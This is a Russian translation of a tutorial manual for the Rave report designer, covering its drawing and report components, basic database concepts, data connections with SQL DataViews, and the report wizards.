5. Появится редактор Memo. В редакторе Memo, введите текст, который будет размещен на странице. Memo распознает клавишу Enter. Помните, что Memo занимает тот размер, который установлен на странице.
5. По окончанию нажмите кнопку OK.
7. Когда закончите, переместите Memo и установите его размер, с помощью зеленых маркеров.
Упражнение 19: компонент Section
Создание и использование компонента Section:
1. Выберите компонент Section. Кнопка компонента изменит свой цвет, для индикации.
2. Щелкните по странице, появится рамка из точек с маркерами на ее границах. Это компонент Section.
3. Обратите внимание, что в дереве проекта компонент был добавлен к компоненту Page.
4. Пока компонент выбран, поместите на него любые другие компоненты. Когда выполните, снова посмотрите и заметьте, что компоненты добавлены к этой секции.
5. Все добавленные компоненты в секцию, могут перемещаться одновременно. Попробуйте это сделать, поместите курсор на границу секции и, удерживая кнопку мыши, потаскайте секцию по странице.
6. Секции также можно изменить размеры. Выберите маркер и, удерживая кнопку мыши, переместите курсор в нужном направлении.
7. Когда закончите, щелкните, где ни будь на странице для снятия выбора с секции. Секция имеет невидимую границу, отображаемую точками, но она не печатается.
Упражнение 20: помещение и изменение размера битмапов

1. Для выполнения данного упражнения, найдите какое ни будь изображение типа битмап (BMP) на вашем компьютере. Данное изображение должно иметь расширение ".bmp". Запомните местонахождения данного изображения.
2. Создайте новую страницу отчета. Через выбор New Report Page в меню Project.
3. На панели стандартных компонент, нажмите на кнопку BMP.
4. Затем нажмите где ни будь на странице, что бы бросить Bitmap компонент. Появится зеленые маркеры на краях рамки.
5. Пока еще Bitmap компонент выбран, перейдите в панель свойств. Найдите свойство FileLink. Здесь есть кнопка с тремя точками, называемая эллипс. Нажмите на ее.
6. Используя выпадающее меню Look и используя картинку внизу. Появится диалог Open Bitmap. Найдите ваш битмап на компьютере и нажмите кнопку Open.
7. Изображение появится на странице с зелеными маркера вокруг него.
8. Снова перейдите в панель свойств и найдите свойство MatchSide. Данное свойство управляет пропорциями при изменении размера с помощью маркеров.
9. Выберите по очереди каждый из вариантов и попробуйте изменять размер, что бы увидеть эффект от применения свойства.
10. Вариант msBoth. Позволяет изменять любую сторону в любом направлении.
11. Вариант msHeight. Позволяет изменять высоту, сохраняя правильные пропорции. Используйте верхний и нижний маркер.
12. Вариант msInside. Позволяет делать пропорциональное изменение, но только в пределах ограниченными маркерами. Изображение не может покинуть границы маркеров.
13. Вариант msWidth. Делает пропорциональное изменение, использую левый или правый маркер.


Графические компоненты

Основы графических компонент
Все графические компоненты Rave создаются с помощью графических компонент.
для использования графических компонент, выберите нужный компонент в панели графических компонент и затем поместите его страницу или в другой контейнер. Это позволяет создавать объект на странице или в компоненте контейнере. После того как компонент создан, его можно изменять в нужном направлении, с помощью маркеров на рамке образа. Также можно изменять цвет и стиль, используйте панели заполнения (где применимо), линий и выбора цвета. Для получения большей информации об этих панелях смотрит главу «Панели утилит».
Панель свойств, каждого из графических компонент почти идентична. Свойство Name единственная вещь, которая отличается от одной панели к другой.

Компонент Line, можно использовать для рисования линии в любом направлении. Наклонные линии могут использоваться для рисования линий между повернутыми строками текста. Они также используются как диагональные линии в квадрате, давая эффект на них.
Линия также можно установить стили; но Вы должны, при выборе стиля, позаботиться о наилучшем выборе ширины для них. Стили линий часто игнорируются, если ширина линии больше чем это. (Примечание переводчика: ну так написано в тексте J)

Компонент HLine, можно использовать для рисования горизонтальных линий. Одно из основных применений горизонтальных линий, это использование в компоненте DataBand (Примечание переводчика: аналог секций секционных генераторов отчетов) и установки позиции в самом низу строки Band. Это также используется для установки длины компоненты Band. При печати секции Band, линия создаю эффект печати на разлинованной бумаге.

Компонент VLine, можно использовать для рисования вертикальных линий. Одно из основных применений горизонтальных линий, это использование в компоненте DataBand и установки между полями данных, которые будут печататься. Высота линии устанавливается равной высоте компоненты Band. При печати секции Band создается эффект печати в колонках.

Компонент Rectangle может использоваться для рисования прямоугольников. Одно из основных применений использование в DataBand качестве ограничивающих рамок секции. Это также нужно переместить перемещается назад, что бы другие компоненты в это области печатались поверх прямоугольника. При печати отчета это создает эффект прекрасного блока вокруг строки печатаемых данных.

Компонент Square можно использоваться для рисования квадратов. Одно из основных применений A этого компонента для печати квадратиков для отметки. Отмеченные и неотмеченные квадратики создаются с помощью компонента Square и компонента Line или просто печати символа "X" в квадрате. Удобно для иллюстрации выбранных значений.

Компонент Ellipse можно использовать для рисования эллипсов и овалов. Если Вы хотите изменить форму эллипса, просто щелкните на нем левой кнопкой мыши. Затем переместите мышь на один из маркеров. Снова нажмите на нем левую кнопку мыши и, удерживая ее, перемещайте ее пока эллипс не примет должный вид и размер. Вы можете изменить размер эллипса и в панели свойств. Просто введите новые значения для ширины и высоты.

Компонент Circle можно использовать для рисования кругов должного радиуса. Если Вы хотите изменить размер круга, просто щелкните на нем левой кнопкой мыши. Затем переместите мышь на один из маркеров. Снова нажмите на нем левую кнопку мыши и, удерживая ее, перемещайте ее пока круг не примет должный размер. Вы можете изменить размер эллипса и в панели свойств. Просто введите новые значения для ширины и высоты.

Пиксели или пункты
Для каждого графического компонента в панели свойств есть два свойства, которые оперируют с шириной линии. Свойство LineWidth это цифровое значение для ширины линии, которое зависит от свойства LineWidthType. Свойство LineWidthType действительный позволяет пользователю указать тип значения, которое используется при установке значений линий. Доступные типы пункты или пиксели.
При создании графических объектов, очень важно определить в каком формате аудитория будет видеть отчет. Это особенно важно, при определении, что использовать для ширины пункты или пиксели.
Пункты это единицы печати, а не единицы экранного пространства. Пункты, также наиболее используемые единицы измерения для разработки на бумаге. Это измеряется в единицах бумажного носителя. Иногда, пункты имею значение и для экрана и для Веб. Платформы и различные разрешения, иногда 14pt могут означать многие вещи. Что это точно не означает, так это единицы размера экрана. Пиксели с другой стороны, это конкретные единицы. Пиксель всегда равен пикселю.
Предпочтения пункты или пиксели зависит от того, что разработчик желает пользователю. Что бы позволить пользователю менять размер текста, идентично изменению в Интернет браузеры, то пункты. Если же дизайн зависит от точного размера текста или же размер текста должен быть одинаковым на разных платформах, то пиксели.
Для печати максимально тонкой строки, используйте Line Width в 1 пиксель. Толщина линии в пунктах, будет одинакова на принтерах с различным разрешением.

Упражнение 21: создание графических компонент
1. Сначала создайте новую страницу. Используйте New Report Page из меню File, или используйте иконку на панели проекта.
2. Теперь, перейдите в панель графических компонент. Бросьте их области закладки, что бы могли работать с ними.
3. Выберите квадрат, заметим что, при этом кнопка будет нажатой и изменит свой цвет. Переведите курсор на страницу, держите левую кнопку мыши нажатой, пока перемещаете мышь до получения должно образа квадрата.
4. Затем, выберите эллипс. Переведите курсор на страницу, держите левую кнопку мыши нажатой, пока перемещаете мышь до получения должно образа. Контур эллипса выглядит как прямоугольник, но как только вы отпустите кнопку мыши, эллипс появится на странице.
5. Затем, выберите иконку горизонтальной линии и нарисуйте ее на странице. Сделайте несколько разных линий. Сделайте их различной длины.
6. Обратим внимание на одну вещь, пока левая кнопка мыши не отпущена, рисуется ограничивающий прямоугольник. Когда кнопка мыши будет отпущена, то появятся маркеры и фигура.

Упражнение 22: выравнивание
1. Сначала создайте новую страницу. Используйте New Report Page из меню File, или используйте иконку на панели проекта.
2. Из панели графики, выберите горизонтальную линию и поместите ее на страницу. Появится линия с размером по умолчанию. Щелчок на кнопке и щелчок на странице, это все что мы вызываем для бросания объекта на страницу.
3. Выберите горизонтальную линию.
4. Перейдите в панель свойств и измените значение по умолчанию на 2,5 в свойстве Width.
5. Бросьте как минимум 10 дополнительных горизонтальных линий, примерно на дюйм ниже первой линии.
6. Бросьте еще одну дополнительную горизонтальную линию, примерно на три дюйма ниже первой группы линий.
7. Выберите верхнею горизонтальную линию. Появятся зеленые маркеры по концам линии.
8. Теперь, когда первая линия выбрана, удерживайте клавишу Shift и выберите остальные линии. Это добавит все остальные горизонтальные линии к выбору. Для выбора оставшихся линий еще быстрее, пока первая линия выбрана, и другие дополнительные линии также выбраны, удерживайте нажатой клавишу Shift, затем щелкните на странице и обведите рамкой оставшиеся линии.
9. В панели выравнивания, выберите кнопку Equate Widths. Это позволит сделать все линии одинаковой длины, как первая выбранная линия.
10. В панели выравнивания, выберите кнопку Align Left Edges. Это выровняет все линии по левому края. Первой выбранной линии.
11. Затем, в панели выравнивания, нажмите кнопку Space Equally Vertically. Это установит одинаковое расстояние между всеми линиями. Для получения более подробной информацию, смотрите главу «Панели утилит».


Базы данных

Обзор
Информация слева, информация справа, информация сверну и снизу, мы плаваем в море информации. Приход компьютерной эры не помог. В действительности, мы сейчас в состоянии записывать абсолютно гигантские объемы данных. Как результат информация перегружает как работников, так и менеджеров. Что-то необходимо для управления этой перегрузкой. Первая вещь в том, что информация должна быть организована и подана более эффективным образом, что бы извлечь ответ из моря данных. Одним из методов получения ответов являются генераторы отчетов (подобные RAVE) для организации и вывода ответов в форме, которая позволяет легче понимать читателю отчета. Но до того как, генератор сможет извлечь информацию, он должен побеспокоиться о структуре источника информации. Такой контейнер информации в простых терминах называется таблицей данных.
Данная глава предназначена тем, кто не фамильярен с базами данных или нуждается в быстром освежении знаний. Данная глава не рассчитана на глубокое изучение темы, так как имеется много лучших толстых книг по данной теме и множество формальных курсов.

Что такое база?

начнем с нескольких реальных примеров, описывающих концепцию таблицы данных. Например, библиотека содержит кучу информации на полках и полках шкафов с книгами, памфлетами, которая обычно упорядочивается по цифровой системе Деви (Dewey decimal system). Для поиска книги, каталог карточек используется для поиска по теме или автору, ничего с общего с цифровой системой Деви. Затем, когда нужная книга найдена и получена через стек, содержащий ее цифровой код.

Особенно гибко, если библиотека имеет компьютеризированный каталог. Теперь посмотрите на рисунок библиотеки без цифровой системы Деви, никакого порядка, хотя одинаковое самое количество книг. Попробуйте найти, что ни будь в такой библиотеке. Это потребует больших усилий и большого интервала времени.
Теперь, изменим слова. Сменим книги на информацию и библиотеку на базу данных, и мы на пути объяснения, что такое и зачем нужна система управления базами данных. Библиотека это коллекция знаний (книг) упорядоченная по цифровой системе Деви.
Таблица данных это коллекция информации, упорядоченная по какой то предопределенной структуре. Теперь мы проверим, что нам нужно для разработки и использования таблицы данных.

Терминология
Для лучшего понимания, что составляет базу, нам необходимо знать терминологию баз.
Система управления базой данных
Система управления базой данных (СУБД - DBMS) это законченная система для управления данными (информацией). Есть много примеров коммерческих компаний, которые известны своими СУБД. Некоторые их них особо известны, это Informix, Interbase, Microsoft Access, Microsoft SQL, Oracle, Sybase и многие другие. СУБД иногда путают с физическими данными (с файлами). Должны заметить, что таблица данных это только часть СУБД. Тем не менее, в реальной жизни требуется знать, как извлечь информацию из СУБД, это понять концепцию структуры. В действительности, большинство терминов общие для различных СУБД. Это не означает, что человек должен быть экспертом по полям базы, только понимание.
Таблица
Таблица ("Table") это коллекция вещей, аналогичным телефонной книге, содержащей номера, имена и адреса. Отчет ("report") в данном примере будет телефонной книгой, конечно, телефонная книга имеет ограничений, например не включает, не включает не опубликованные номера в любой печатной форме. В большинстве случае, телефонные компании имеют адреса для счетов, которые отличаются от адресов в телефонной книге.

Теперь посмотрим на телефонную книгу и заметим, что данные у нее упорядочены по строкам и колонкам. Строка (иногда называется записью) показывает значения, относящиеся к одному члену (персоне) этой таблицы. Каждая колонка содержит специфическую часть информации (иногда называется полем).. Как его имя или телефонный номер. Порядок в телефонной книге (таблице) сделан по индексу (иногда называется ключ). Телефонная книга может быть упорядочена по фамилии или по телефонному номеру.
Структура
Каждая часть информации насчет члена имеет атрибуты, которые определяются ее СУБД.
Типичные атрибуты для каждой таблицы (файла) включают:
· дата создания таблицы
· дата последней модификации таблицы
· количество колонок определенных для таблицы
Типичные атрибуты для каждой строки (записи) включают:
· длину
· номер записи
· состояние (блокирована -удалена)
Типичные атрибуты для каждой колонки (поля) включают:
· имя – имя колонки, которое обычно описывает его содержимое
· тип – символьный, цифровой, дата, время, blob
· длина – максимальная длина данного элемента (может включать количество цифр после запятой)

Таблица данных содержит информацию, упорядоченную по предопределенной структуре. Структура каждой таблицы важна, поскольку определения строк и колонок используется генератором отчетом для извлечения, упорядочивания и показа информации.
В примере с телефонной книгой, имеются следующие поля: имя, адрес и телефонный номер. Как определяются данные колонки (поля)? Они определяются по имени колонки; имя должно называться "name", адрес "address" и телефонный номер "phone". Но определения главных полей не заканчиваются таким простым определением. Например, "name" должен быть разделен на два и более полей, например, "first", "middle" и "last". Эти три куска главного поля, могут затем быть отработаны должным образом генератором. Все три субполя затем могут быть объединены в одно "full name" для вывода, поле "first" объединено с полем "last" для получения полной версии имени. Также, "phone" может называться "number" или "telephone" и телефонный номер может содержать только цифры без форматирующих символов. Rave делает задачу понимания структуры страницы относительно простой работой. Как только будет сделано подключение данных, Rave извлекает структуру таблицы, из которой колонки (поля) могут быть выбраны, как требуется.
Запрос
Редко, когда требуется печатать всю информацию из базы. Чаще, требуется уменьшить объем данных, выбором диапазона строк (записей) таблицы. Уменьшение данных важная часть обработки информации. Одним из методов уменьшения является запрос к таблице на показ только тех строк, которые нужны.
Один из общих метода запроса называется SQL, сокращение от Structured Query Language (язык структурных запросов). Некоторые таблицы данных совместимы с SQL. SQL запрос позволяет попросить у СУБД и СУБД производит поиск по своим таблицам в соответствии с заданным выражением и возвращает набор строк (записей), которые удовлетворяют запросу.
Клиент-сервер
Метод использования компьютерных программ используемых многими людьми, где база данных находится на центральном компьютере, доступным для всех (back end) и пользовательский интерфейс располагается на пользовательском компьютере (front end). Выбор специфических строк данных и обработка делаются на удаленном компьютере, а результат возвращается обратно, уменьшая передачу данных по сети. Происходит существенное улучшение общей системной производительности при передаче только нужных данных по кабелям. Хорошо сконфигурированная система клиент-сервер может дать превосходное улучшение в приложениях, используемых несколькими людьми.

Связанные таблицы
В данный момент пример с телефонной книгой это хороший пример простых плоских таблиц. Но это не эффективный дизайн для реальных потребностей. Мы посмотрим на телефонную компанию, вместо телефонной книги, для более типичных потребностей. Каждый месяц телефонная компания должна рассылать счета каждому своему клиенту. Этот счет хороший пример отношений "master-detail" типов отчета. Одна часть счета содержит базовую, статическую информацию о клиенте, как: его имя, адрес для отсылки счета и телефонный номер. Другая часть счета содержит детальную (переменную) информацию, такую как, строка для каждого телефонного вызова, включая продолжительность и цену. Переменная информация может быть только на одной странице или на нескольких, для некоторых клиентов.
Есть одна важная деталь для понимания работы master-detail, понимание концепции первичного ключа (ключ связи). Когда клиент получает телефонный счет, то клиент ожидает получить список только его переговоров; ему не нужны переговоры сделанные другими людьми. При создании счета клиенту, это означает, что должна быть только одна главная запись, называемая первичным ключом, для всех детальных строк. В счете клиента, первичным (link) ключом будет телефонный номер. Первичный ключ должен быть уникальным, что делает более сложным изменение первичного ключа после его присвоения. Но, некоторые СУБД позволяют иметь комбинацию колонок в качестве первичного ключа,.
Это краткий обзор работы баз данных. Для более эффективной разработки базы, управления структурой таблиц, есть еще несколько тем: "Клиент-сервер", "Нормализация", "Реляционные базы данных", "Отношение один к одному", " Отношение один ко многим" и " Отношение многие ко многим".

Отношение один к одному
Отношение один к одному есть разделение таблиц с тем же первичным ключом. Знание первичного ключа позволяет посмотреть данные для первой строки в одной таблице и второй строки в другой таблице. Отношение один к одному используется очень редко, поскольку обычно проще поместить колонки обеих таблиц в одну. Отношение один к одному не удовлетворяет первому уровню правил нормализации.
Отношение один ко многим
Это достигается помещением первичного ключа с одной стороны связи ONE, в другую колонку связи MANY. Например, если каждый работник может относиться только к одному подразделению, то Вы можете иметь колонку «department» (подразделение) в таблице «employee» (работники) для каждого работника, будет связано первичным ключом для строки его подразделения в таблице подразделения.

Многие ко многим
Это трудно объяснить, примеры реального мира очень сложные. Если есть несколько работников, которые являются частью нескольких, то это будет связь многие ко многим.
Представления
Некоторые СУБД имеют возможность представления пользователю информации полученной более чем из одной таблицы. Представление (view) это определение формы и оно не имеет собственных данных. Это часто включает запрос, который является субъектом команды. Используйте представления для управления доступом к индивидуальным колонкам таблицы или для представления нескольких таблиц как одной.
Отчеты
Как это все относится к разработке отчетов? Со сделанным объяснением, понимание структуры разработки отчета и его параметров становится проще. Теперь вы подготовлены к чтению главы «Подключения данных» и свойства DataField, которая расскажет, как использовать Rave для подключения ваших таблиц данных и как идентифицировать содержимое конкретных колонок (полей) в дизайнере Rave.


Подключения баз данных

Подключения баз данных
Генератор отчетом будет почти бесполезным, если он не будет иметь методов показа информации содержащейся в базах данных. Он сможет делать отчеты, только которые не связаны с базами данных. Подключение данных в Rave одна из наиболее мощных возможностей, и не столько, поскольку может иметь доступ до широкого круга баз данных и поддержанных методов, а простотой шагов требуемых для создания отчета.
Подключение базы данных в Rave это первичный оплот для подключения к базе с помощью SQL DataViews.

Создание подключения к базе данных
Для создания нового подключения к базе данных, щелкните по иконке DataView в панели отчета, это вызовет помощника Data Connection Wizard. Первый шаг это выбор Database Connection из списка доступных параметров. Когда будете готовы, нажмите на кнопку Next.
После нажатия на кнопку Next, второй шаг помощника покажет доступные типы подсоединений. Выбор зависит от различных Rave DIBL Links установленных на вашей системе. DIBL означает Database Independent Layer. Это патентованная система, которая позволяет взаимодействие с базами данных, независимое от типа баз данных установленных в вашей системе (это может быть SQL Server, Interbase, Oracle или другое).
В главной папке Rave, есть папка называемая DIBLLinks. Внутри ее есть, какое то количество файлов с расширением rvd. Эти файлы загружаются при старте приложения. В зависимости от количества файлов, количество доступных подключений варьируется.
Это дает возможность иметь много типов подключений, показываемых в диалоге Database Connection Type. Это позволяет пользователю решить, какой тип подключения наиболее подходит. Меньшее количество типов может показываться в зависимости от того, какие драйверы были установлены.
Когда тип подключения выбран, на следующем экране будут запрошены подробности подключения. Это различается от одного к другому, но обычно содержит путь к базе данных, имя сервера, если база данных не локальная и необязательное имя пользователя и пароль доступа к серверу.

После создания подключения, оно появится в дереве проектов, откуда оно становится доступным. Свойства для подключения базы данных, также могут быть просмотрены, аналогично другим компонентам, выбором подключения в панели дерева проектов.
Есть несколько свойств, которые специфические для компонента Database. Одним из наиболее важных свойств являются свойства AuthDesign и AuthRun. Во многих случаях, платформа (и сервер), на которой разрабатывается отчет, и платформа на которой выполняется приложение, различаются. Обычно, одна из характеристик, которая часто изменяется это коды доступа к серверу (имя пользователя и пароль). Rave был спроектирован с этим учетом, и задача распространения приложения становится проще. Для этого, свойства AuthDesign и AuthRun можно использовать для разделения этапов разработки и выполнения (распространения - deployment). AuthDesign содержит параметры, которые были указаны при создании компонента Database с помощью помощника или были, затем изменены в панели свойств. AuthRun содержит информацию для распространения.
LinkType представляет тип, который был выбран при создании подключения базы данных. Снова, подобно другим компонентам, есть несколько общих свойств, таких как Name, FullName и Description и другие, которые мы не будем повторно объяснять.
Компонент DirectDataViews (только в BE)
DirectDataViews предоставляет ссылку к подключениям данных, расположенных в других приложениях. Когда DirectDataView создан, показывается список всех доступных компонент подключений данных. Значение свойства Name комонент подключения данных предоставляет связь между подключением и DirectDataView (через свойство ConnectionName в Rave). При подключении к подключению данных, которые имеют обработчики событий, Вы должны иметь приложение запущенным и форму, содержащую компоненты подключения данных созданной.
Компонент DriverDataViews
DriverDataViews выполняет те же самые функции, как и DirectDataViews, за исключением, что самодостаточны и обычно получают свои данные из выражения SQL. DriverDataViews также требует использование действительного подключения данных.

как только подключение базы данных установлено, щелкните на New Data Object для создания нового DriverDataView.
Помощник проведет вас через необходимые шаги для создания законченной конфигурации. После выбора DriverDataView в диалоге, выберите подключение базы данных, к которому Вы подсоединяетесь. Если соединение пройдет успешно, помощник затем покажет диалог Query Editor. Перед продолжением объяснения DriverDataView, немного рассмотрим редактор запросов (Query Editor).
Редактор свойств запросов
Редактор свойств запросов используется для построения выражения SQL, которое возвратит набор данных из базы данных.
Есть два пути использования редактора. Первый путь дает преимущества графического интерфейса для построения SQL выражения. С левой стороны диалога есть список таблиц доступных в текущей базе данных. Путем простого перетягивания и бросания из списка в серую область, создается выражение SQL.
Как только объект таблицы появится, щелкните по рамке, будет определен список полей, которые появятся в наборе данных. По умолчанию отмечено символом "*", что означает, что должны быть возвращены все поля.
Для выбора отдельных полей используйте tick (Примечание переводчика: из книги неясно, что это такое, наверно какой то маркер) для вашего выбора. Таблицы также можно связать (joined). Для выполнения этого, просто перетяните другую таблицу на эту и затем нарисуйте линии связи из одного поля первой таблицы в другое поле второй таблицы (рисунок выше показывает связь между полем PRODUCTID таблицы BUGS и полем PRODUCTID таблицы PRODUCTCODES {Примечание переводчика: нет такого рисунка в книге}). Для просмотра результат, выберите закладку Results и данные будут показаны в гриде.
Как альтернатива, редактор можно использовать для прямого написания текста SQL запроса. Для этого, нажмите кнопку Editor, который появится внизу. Для ввода своего выражения, отметьте "User Defined SQL" и введите свое выражение.
Как только запрос будет создан, нажмите кнопку Ok, для возврата управления редактор Rave.
Компонент SQL Data View теперь должен появиться в дереве проекта. Нажатие на символ +, покажет список всех полей, которые были выбраны в SQL выражении. Свойства для каждого поля могут быть назначены в панели свойств.
Несмотря на то, что поля можно поместить в отчет с помощью соответствующих компонент из закладки Report, много проще работать напрямую с деревом проектов. При нажатой клавише CTRL, поля можно перетянуть напрямую из дерева проекта и бросить на форму дизайнера.
После того как DirectDataView будет настроен с помощью Query Editor, никакие другие свойства не требуются для доступа к данным.

Панель состояния

в самом низу окна RAVE расположена панель состояния. Панель состояния некоторую информацию о выбранном текущем элементе. Так что, смотрите иногда туда.
Индикатор Data Connection предоставляет информацию о состоянии системы данных Rave, изменяя цвет светодиодного индикатора.

Цвет LED Состояние
Серый [image] Подключение не активно
Желтый [image] Подключение активно, но ожидает ответа
Зеленый [image] Подключение активно и занято
Красный [image] Подключение активно, но превышено время ожидания
X и Y показывают координаты указателя мыши. Подвигайте мышь и посмотрите за показаниями. Когда графический примитив бросается на страницу, размер примитива появляется после создания и показывается как dX и dY позиции. "d" означает дельта.


Wizards

Помощники
Помощники (Wizards) новое средство в Rave, которое позволяет создать определенные типы отчетов, отвечая на серию вопросов. Они расположены в меню Tool. Помощники могут быть добавлены и удалены в зависимости от нужд пользователя. Это превосходный путь минимизации пользовательского интерфейса для выполнения требуемых задач по отчетам.
Есть два помощника, "Simple Table" и "Master-Detail". Помощники запрашивать назначение подключения данных и позволять выбрать нужные поля для отчета. Важно заметить, что должен быть активный DataView до запуска помощника, или это должен быть Direct Data View или SQL Data View. Простые отчеты обычно создаются для списков. Обычное использование включает списки клиентов, телефонные списки и подобное. Помощник Master-Detail используется, когда требуются более сложные отчеты, такие как счета, списки на заказ продукции и подобное.
Независимо, что будет использовано, есть несколько шагов, которые общие для обоих помощников. Это включает выбор DataView, выбор полей и будет рассмотрено в упражнениях, в конце данной главы.
Важно понять, что помощник обеспечивает, только основные пользовательские потребности, некоторые аспекты не делаются в больших деталях (количество текста, которое поместится на странице, размещение и другое). Они могут использоваться, как строительные блоки для более полных отчетов или могут быть подстроены для обеспечения требуемого расположения. Для построения действительно очень сложных отчетов помощники не рекомендуются для использования.
Упражнения
Ниже примеры упражнений по обоим помощникам Simple и Master-Detail. Поскольку большинство шагов одинаковы для обоих помощников, то они будут рассмотрены подробно только в первом упражнение. Поэтому рекомендуется начать именно с первого упражнения, что бы получить лучшие навыки по представленной концепции.

Упражнение 23: простой отчет
1. первый шаг это выбор DataView, который будет предоставлять данные для отчета.
2. После выбора DataView, появится список полей, из которого можно сделать выбор. Выбор полей осуществляется щелчком слева на рамке. Выбор всех полей делается щелчком на кнопке All вверху. Заметим, что выбор множества полей, которые не поместятся на странице, приведет к перекрытию. Потребуется ручное вмешательство после окончания работы помощника, для устранения проблемы.
3. если было выбрано более одного поля в предыдущем шаге, то помощник спросит про порядок полей. Перемещение поля вверх перемещает его влево на странице. Перемещение в нижнюю позицию перемещает поле на правую границу.
4. после того, как поля будут размещены в нужном порядке, можно установить характеристики отчета. Values включает заголовки и размеры границ страницы.
5. последний шаг помощника это выбор шрифтов, которые будут использованы в отчете. Предоставлены возможности по смене трех шрифтов: заголовки отчета, заголовки имен колонок и содержимого полей.

Упражнение 24: Master-Detail отчет
Помощник Master-Detail Report имеет несколько дополнительных шагов, больше чем в простом отчете. Это связано с тем фактом, что используется больше одной таблицы в отчете. В действительности здесь есть главная таблица (например, информация о клиенте) и подчиненная (элементы заказа).
1. Подобно помощнику простого отчета, первый шаг это выбор DataView. Только в данном случае DataView должен относиться к главной таблице.
2. в шаге два, выбор подчиненной (Detail) таблицы. Заметим, что DataView выбранный в первом шаге, больше не доступен, это сделано для уменьшения ошибок. Подобно помощнику простого отчета, в следующем шаге выбираются поля и порядок для обеих таблиц.
Новый шаг это определения ключевых полей. Это поля, которые связывают одну таблицу с другой.
После этого, оставшиеся шаги идентичны помощнику простого отчета.
После того, как все завершено, нажмите Generate, что создаст отчет, снова, можно после этого подстроить отчет под свои нужды. Рисунок, показанный ниже, показывает результат работы помощника.


Компоненты отчета

Панель отчета одна из самых наиболее используемых при работе с отчетами по базам данных. Жизненно важно понять функции каждого компонента, особенно основы построения отчетов по базам данных, базирующие на данной панели.

Следующие компоненты часто используются при разработке отчетов:
Band, CalcText, DataBand, DataMemo, DataText, Region
Следующие компоненты будут объяснены в главе «Расширенные компоненты»:
CalcController, CalcOp, CalcTotal, DataCycle, DataMirrorSection
Следующие компоненты не визуальные:
CalcController, CalcOp, CalcTotal, DataCycle
Есть несколько общих характеристик компонент, которые обсудить перед рассмотрением каждого компонента в отдельности. Сначала, поговорим о цветах компонент. Большая часть компонент выглядит одинаково с другими компонентами, они серые. Но, в конце панели расположены компоненты, у которых зеленый цвет. Зеленый цвет указывает, что это не видимые компоненты. При помещении их на панель, они не видны на окне, в просмотре или на печати. Что бы увидеть эти компоненты пользователь должен использовать дерево проектов для выбора, перемещения или удаления их со страницы.
Большинство компонентов отчета помещаются на страницу. Только два компонента имеют исключение, это компоненты Band и DataBand. Они должны помещаться в компонент Region. Поведение этих компонент управляется установками, сделанными в "Band Style Editor", который доступен через свойство BandStyle обеих компонент.
Отчет может быть разработан как типичный отчет, с использованием Bands. Но уникальное возможность Rave в том, что отчет может быть разработан для других спецификаций. Компоненты Bands отчета могут перемещаться или изменять размер до нужного образа.
При разработке отчета, окно дизайнера может быть изменено для предпочтений дизайнера отчета.
Есть несколько путей управлять видом компонент Bands при разработке. Первый путь это должны ли быть видимы или нет, все заголовки компонент ALL Band Headers. Данная установка может быть изменена в панели дизайнера. Другой метод это переключение видимости содержимого Band. Если некоторая часть дизайна Band стабильна, ее можно временно спрятать, установив свойство DesignerHide в True. Будут видны только те компоненты, у которых это свойство установлено в False. Это нужно если есть большое количество компонент Band или компонент Band занимает большое пространство. Установка свойства DesignerHide не оказывает эффекта на печать, только на показ в дизайнере страницы.
Компонент Region

Что бы правильно использовать компонент Region, важно понять, что это такое. Region это контейнер для компонент Band. В простейшем форме Region должен занимать всю страницу. Это верно для печати списков.
Многие master-detail отчеты могут быть сделаны с помощью единственного региона. Но вы не обязаны думать о регионе, как о целой странице. Свойства региона распространяются только на положение и размер региона, занимаемый им на странице. Сознательное использование регионов дает больше гибкости, когда Вы разрабатываете сложные отчеты.. множество регионов могут быть размещены на одной странице. Они могут быть бок о бок, один над другим или вообще гулять по странице. Не путайте регионы с секциями. Компоненты Region содержать компоненты Band и только Band. А компоненты Section могут содержать любые группы компонент, включая другие компоненты Region.
При работе с компонентами Band, есть простое правило, которому обязательно следовать: компоненты Band должны быть в регионе. Заметим, что количество регионов на странице не ограничено или количество компонент Band внутри региона. Как далеко отчет может разрабатываться визуально, комбинация Region и Band может использоваться для решения задач любой сложности, когда помещает визуальность в разработку. Есть два основных типа: Band и DataBand. Последний используется, когда требуется повторение, например, в master-detail отчетах. Первый используется для неповторяемых нужд.
Компонент DataBand
Компонент DataBand

это специальная версия компоненты Band, работающая с базами данных, используемая для повторяющего получения информации из представления данных. Обычно, компонент DataBand содержит несколько компонент DataText.
Обычное использование DataBand это счета. Счет обычно состоит и заголовка, включая информацию такую, как дата, номер счета, имя клиента и его адрес и одну или более строк содержащих данные счета. В таком сценарии, таблица клиентов является главной, а данные счета находятся в подчиненной таблице. Информация об элементах должна быть размещена в DataBand, и управляться главной таблицей.
Компонент Band

Компонент Band для элементов, которые зафиксированы и не изменяются на странице. Обычно, компонент Band содержит компоненты Text и CalcText. Первичным примером этого, являются заголовки и подвалы. Компонент Band может содержать компоненты баз данных, так поля таблицы могут быть размещены в компоненте Band. Подвал группы может иметь '{CustomerDV.CustomerName} Totals' на этом компоненте Band.
Важным свойством для компонента Band является свойство "ControllerBand". Данное свойство определяет, каким компонентом DataBand управляется Band. Когда контролирующий Band установлен, графический символ на компоненте Band указывает направление контролируемый Band и также цвет символа.
Это поведение управляется "Always Show Band Headers". Данная установка изменяет видимость Band во время разработки. Если установлено в "off" то это дает приближенный к актуальному выводу вид, но не показывает заголовки с их символами и кодами. При начальном использовании Rave более удобным будет установить этот параметр в "on" и получить преимущества визуальной помощи предоставляемой заголовками. Но номер более комфортабельного овладения Band, можно сменить эту установку по необходимым нуждам или предпочтениям. Символьные коды справа на компоненте Band будут объяснены позже в главе «Редактор Band Style». Они дают информацию о состоянии Band. Жирные символы означают ON или активно, бледные off или не активно.
Редактор свойства Band Style
Перейдите в свойство Band Style компоненты Band или DataBand и нажмите на кнопку эллипса для открытия редактора Band Styles.
Это предоставляет простой метод выбора свойств для Band, с помощью установки отметок для активации или деактивации их. Заметим, что компонент Band может иметь несколько различных свойств активных одновременно. Это означает, что Band может быть для обеих Body Header и Body Footer в тоже время.
Область показа в редакторе Band Style была разработана для представления в стиле псевдо последовательном представления отчета. DataBand повторены три раза, что бы подчеркнуть, что это повторяющиеся данные. Текущий Band, который редактируется, отображается жирным, подчеркнутым шрифтом.
